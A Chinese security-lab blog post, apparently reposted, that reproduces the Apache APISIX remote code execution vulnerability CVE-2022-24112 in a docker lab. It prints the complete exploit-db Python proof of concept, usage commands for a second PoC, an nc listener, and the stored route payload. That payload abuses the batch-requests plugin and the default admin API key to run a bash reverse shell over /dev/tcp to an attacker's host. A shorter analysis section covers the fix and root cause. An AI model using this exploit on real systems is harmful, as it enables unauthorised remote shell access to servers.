Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

admin 2022年4月11日10:00:50评论12 views字数 5845阅读19分29秒阅读模式

声明


以下内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。



0x01 什么是Apache APISIX Dashboard


Apache APISIX 是一个动态、实时、高性能的开源 API 网关,提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。Apache APISIX 可以帮助企业快速、安全地处理 API 和微服务流量,包括网关、Kubernetes Ingress 和服务网格等。
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

0x02 漏洞详情

漏洞编号:CVE-2022-24112

影响版本:Apache APISIX < 2.12.1

Apache APISIX < 2.10.4 (LTS versions)

漏洞类型: 命令执行


0x03 环境部署

本次在ubuntu云服务器上利用docker搭建漏洞复现环境。
git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件cd cve-2022-24112/apisix-docker/example/ ##进入相应目录docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
让我们使用此命令来确保 docker 映像已在后台运行。完成此操作后,我们可以使用简单的方法访问AP。
$ curl 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -iHTTP/1.1 200 OKDate: Sun, 20 Mar 2022 15:49:17 GMTContent-Type: application/jsonTransfer-Encoding: chunkedConnection: keep-aliveServer: APISIX/2.12.0Access-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Expose-Headers: *Access-Control-Max-Age: 3600{"count":0,"action":"get","node":{"key":"/apisix/routes","nodes":{},"dir":true}}
成功访问网站地址http://IP:9000显示登录界面即为部署成功。
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

0x04 目标信息

访问网站地址http://IP:9000,默认管理员用户名及密码为admin/admin,登录管理后台。
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

0x05 漏洞利用

在Apache APISIX Dashboard身份认证绕过漏洞(CVE-2021-45232)中存在两个未授权接口,我们尝试访问其接口来获取可用信息:
r.GET("/apisix/admin/migrate/export", h.ExportConfig)r.POST("/apisix/admin/migrate/import", h.ImportConfig)
访问过后未发现有效信息输出。
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
exploit-db公布的POC如下,编号50829.py:
# Exploit Title:Apache APISIX 2.12.1 - Remote Code Execution (RCE)# Date: 2022-03-16# Exploit Author: Ven3xy# Vendor Homepage: https://apisix.apache.org/# Version: Apache APISIX 1.3 – 2.12.1# Tested on: CentOS 7# CVE : CVE-2022-24112import requestsimport sysclass color:  HEADER = '33[95m'  IMPORTANT = '33[35m'  NOTICE = '33[33m'  OKBLUE = '33[94m'  OKGREEN = '33[92m'  WARNING = '33[93m'  RED = '33[91m'  END = '33[0m'  UNDERLINE = '33[4m'  LOGGING = '33[34m'color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]   def banner():  run = color_random[6]+'''n                                  .    ,       _.._ * __*./ ___ _ ./._ | _ *-+-      (_][_)|_) |/'     (/,/'[_)|(_)| |         |                    |          n'''  run2 = color_random[2]+'''tt(CVE-2022-24112)n'''            run3 = color_random[4]+'''{ Coded By: Ven3xy | Github:https://github.com/M4xSec/ }nn'''  print(run+run2+run3)    
if (len(sys.argv) != 4): banner() print("[!] Usage : ./apisix-exploit.py <target_url><lhost> <lport>") exit() else: banner() target_url = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] headers1 = { 'Host': '127.0.0.1:8080', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36Edg/97.0.1072.69', 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', 'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/json', 'Content-Length': '540', 'Connection': 'close',}
headers2 = { 'Host': '127.0.0.1:8080', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36Edg/97.0.1072.69', 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', 'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/json', 'Connection': 'close',}
json_data = { 'headers': { 'X-Real-IP': '127.0.0.1', 'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1', 'Content-Type': 'application/json', }, 'timeout': 1500, 'pipeline': [ { 'path': '/apisix/admin/routes/index', 'method': 'PUT', 'body':'{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars)os.execute('bash -c \\\"0<&160-;exec160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&1602>&160\\\"'); return true end"}', }, ],}
response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1,json=json_data, verify=False)response2 = requests.get(target_url+'rms/fzxewh', headers=headers2,verify=False)
这里使用的是twseptian师傅的POC:
git clone https://github.com/twseptian/cve-2022-24112 ##获取POCcd cve-2022-24112/poc/ ##进入相应目录chmod +x poc2.py ##添权限
用法:
python3 poc2.py -t [本地测试IP] -p [服务端口] -L [docker通信IP] -P [nc监听端口]
python3 poc2.py -t 127.0.0.1 -p 9080 -L 172.18.0.1 -P 60022
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
利用nc建立监听,成功执行命令。
nc -lvnp 60022
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

0x06 漏洞分析

从官方地址下载源码后分析发现,可以得到默认管理员API令牌为:
key:
edd1c9f034335f136f87ad84b625c8-f1
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
查看官方修复修复记录,发现官方修复方法是关闭batch-requests插件的默认开启。
https://github.com/apache/apisix/pull/6254/commits/d4f0d6ac065e9282b2deca08073bceb62aa13b4a
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
查看batch-requests官方文档可知,该插件用于http pipeline 的方式进行多接口请求。
https://github.com/apache/apisix/blob/ec0fc2ceaf04a20b0bd0ebdaad67296a1d3f621c/docs/zh/latest/plugins/batch-requests.md
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
对比2.9.0版本和2.12.0版本,在新的版本中batch-requests插件默认情况下是关闭状态,从而防止批量进行多个接口请求。
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
登录Apache APISIX Dashboard查看路由,编辑路由信息,可以查看JSON中被写入了bash。
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
Bash内容如下:
{"uri""/rms/fzxewh","name""wthtzv","filter_func""function(vars) os.execute('bash -c\"0<&160-;exec 160<>/dev/tcp/172.18.0.1/60022;/bin/sh<&160 >&160 2>&160\"'); return true end","upstream": {"nodes": {  "schmidt-schaefer.com"1},"type""roundrobin","hash_on""vars","scheme""http","pass_host""pass"},"status"1}
观察代码发现,代码中利用了
filter_func函数,该函数是Apache APISIX在管理API时,用户自定义的过滤函数。

可以使用它来实现特殊场景的匹配要求实现。该函数默认接受一个名为 vars 的输入参数,可以用它来获取 Nginx 变量。示例:
function(vars) return vars[“arg_name”] == “json” end


0x07 总结

攻击者可以滥用批量请求插件发送请求以绕过管理 API 的 IP 限制。Apache APISIX的默认配置(使用默认API密钥)容易受到远程代码执行的攻击。当管理密钥已更改或 Admin API 的端口更改为与数据面板不同的端口时,影响会更小。

但是,绕过Apache APISIX数据面板的IP限制仍然存在风险。批处理请求插件中有一个检查,它用其真正的远程IP覆盖客户端IP。但是由于代码中的错误,可以绕过此检查。

0x08 参考链接

  1. https://github.com/apache/apisix-dashboard

  2. https://github.com/M4xSec/Apache-APISIX-CVE-2022-24112

  3. https://www.o2oxy.cn/3945.html

  4. https://zhuanlan.zhihu.com/p/451281323

  5. https://www.exploit-db.com/exploits/50829

  6. https://blog.csdn.net/weixin_47559704/article/details/122338456

  7. https://www.bookstack.cn/read/apache-apisix-1.4-zh/33860207d6bb4917.md

  8. https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq

  9. https://kavigihan.medium.com/apache-apisix-2-12-1-remote-code-execution-5f920b22ccff

  10. https://blog.csdn.net/weixin_42353842/article/details/122943253



Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用
Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

▇ 扫码关注我们 ▇

长白山攻防实验室

学习最新技术知识



原文始发于微信公众号(长白山攻防实验室):Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月11日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache APISIX Dashboard(CVE-2022-24112)命令执行漏洞方式利用https://cn-sec.com/archives/1076316.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息